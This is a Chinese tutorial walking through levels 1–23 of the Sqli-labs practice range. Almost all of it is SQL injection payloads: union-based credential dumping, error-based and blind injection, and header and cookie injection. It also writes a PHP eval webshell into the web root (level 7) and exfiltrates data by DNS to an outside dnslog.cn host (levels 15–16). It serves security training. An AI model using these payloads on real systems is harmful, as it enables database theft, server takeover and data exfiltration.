Sqli-labs-master靶场1-23关通关详细教程（基础篇）

---

前言

Sqli-labs-master靶场很适合学习sql注入，有利于我们掌握sql注入的基本方法。

---

第一关

字符型注入 单引号闭合

http://10.40.1.22/sqli-labs-master/Less-1/?id=1’ --+

判断字段数

http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 4 --+

判断回显位

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆数据库名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+

爆表名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆字段名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()  and table_name='users' --+

爆数据

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,concat_ws('~',id,username,password),3 from security.users limit 0,1 --+

以上是sql注入一般流程

第二关

数字型注入
http://10.40.1.22/sqli-labs-master/Less-2/?id=1 --+
后面步骤同上

第三关

单引号括号闭合
http://10.40.1.22/sqli-labs-master/Less-3/?id=1’) --+

第四关

双引号括号闭合
http://10.40.1.22/sqli-labs-master/Less-4/?id=1") --+

第五关

单引号闭合 但页面无回显
尝试报错注入
http://10.40.1.22/sqli-labs-master/Less-5/?id=1’ and extractvalue(1,concat(‘~’,database())) --+
在database()处写sql语句

http://10.40.1.22/sqli-labs-master/Less-5/?id=1’ and extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) --+

第六关

和第五关一样
只是双引号闭合
http://10.40.1.22/sqli-labs-master/Less-6/?id=1" --+

第七关

提示使用outfile
load_file()读取文件
前提：1、用户权限足够高，尽量具有root权限。2、secure_file_priv不为NULL
into outfile() 写入文件

采用’))闭合
http://10.40.1.22/sqli-labs-master/Less-7/?id=-1’)) union select 1,‘<?php @eval($_POST[123]); ?>’,3 into outfile ‘D://phpStudy//PHPTutorial//WWW//2.php’ --+
写入一句话木马
在服务端可查看已经上传
蚁剑连接成功

第八关

布尔盲注
根据页面回显是否正常猜测信息
一般步骤
1.猜长度 2.猜字母
常用函数 length() ascii() substring()
数据库名
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and length(database())=8 --+
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and substring(database(),1,1)=‘s’ --+
第一个表的第一个字符：http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
第一个表的第二个字符：http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109–+

盲注还有其他更快的解法，比如可结合burp使用，dns_log盲注等

第九关

时间盲注
页面始终保持一个界面，通过查看响应时间辨别
常用函数if() sleep()
和布尔盲注类似
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and if(length(database())=8,sleep(0),sleep(5)) --+
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and if(substring(database(),1,1)=‘s’,sleep(0),sleep(5)) --+

第十关

双引号闭合，其余和第九关一样
时间盲注如何判断闭合方式？利用sleep()函数
下面语句表示如果闭合方式正确则等待5秒，错误立即执行
http://10.40.1.22/sqli-labs-master/Less-10/?id=1’ and sleep(5) --+
结果立即执行
http://10.40.1.22/sqli-labs-master/Less-10/?id=1" and sleep(5) --+
结果延迟5秒

第十一关

第十一关开始我们就要进行post注入了，这里建议安装firefox的插件hackbar或者使用burp suit抓包工具。
uname=admin’ order by 3 --+&passwd=admin&submit=Submit
在uname处sql注入，步骤和第一关一样

第十二关

和第十一关类似，只是采用了")闭合
uname=admin") order by 3 --+&passwd=admin&submit=Submit

第十三关

这一关没有回显，但会报错，可利用报错函数
并且采用’)闭合
uname=admin’) and extractvalue(1,concat(‘~’,(database()))) --+&passwd=admin&submit=Submit

第十四关

采用双引号闭合，其余与第十三关一样
uname=admin" and extractvalue(1,concat(‘~’,(database()))) --+&passwd=admin&submit=Submit

第十五关

用单引号对参数处理，但是没有报错显示。用延时注入或者ascii都行，与第八关和第九关类似
这里介绍一下dnslog盲注
主要利用的是域名解析读取文件，load_file()函数
uname=admin’ and load_file(concat(“\\”,(database()),“.evbxl5.dnslog.cn\1.txt”)) --+&passwd=admin&submit=Submit

第十六关

采用post方法，“)闭合方式，方法同第十五关一样
uname=admin”) and load_file(concat(“\\”,(database()),“.evbxl5.dnslog.cn\1.txt”)) --+&passwd=admin&submit=Submit

第十七关

根据提示对密码进行报错注入
单引号闭合
uname=admin&passwd=admin’ and updatexml(1,concat(‘~’,(database())),3)–+&submit=Submit

第十八关

user-agent报头注入
updatexml()和extractvalue()都可以
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0’ and updatexml(1,concat(0x7e,(select database())),1) and ‘1’ =‘1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0’ and extractvalue(1,concat(‘~’,(select database()))),‘’,‘’) #

第十九关

referer注入
语句与之前一样
'and updatexml(1,concat(0x7e,(select database())),1) and ‘1’= '1

第二十关

cookie注入
首次抓包抓不到cookie，直接提交后再次抓包即可获取到cookie
Cookie: uname=-admin’ union select 1,database(),3 #

第二十一关

要获取cookie和上一关一样，要在第二次获取
这一关将uname base64加密了
解题思路是将正常的查询语句base64加密后提交到表单即可
以此可判断闭合方式为’) （图略）
-admin’) union select 1,2,database() #

第二十二关

和上一关一样，只是闭合方式为"
-admin" union select 1,2,database() #

第二十三关

过滤注释的get注入
http://10.40.1.22/sqli-labs-master/Less-23/?id=-1’ union select 1,database(),3 and ‘1’='1

总结

以上是Sqli-labs-master靶场1-23注入方法，希望对大家有帮助，有误的地方恳请大家批评指正。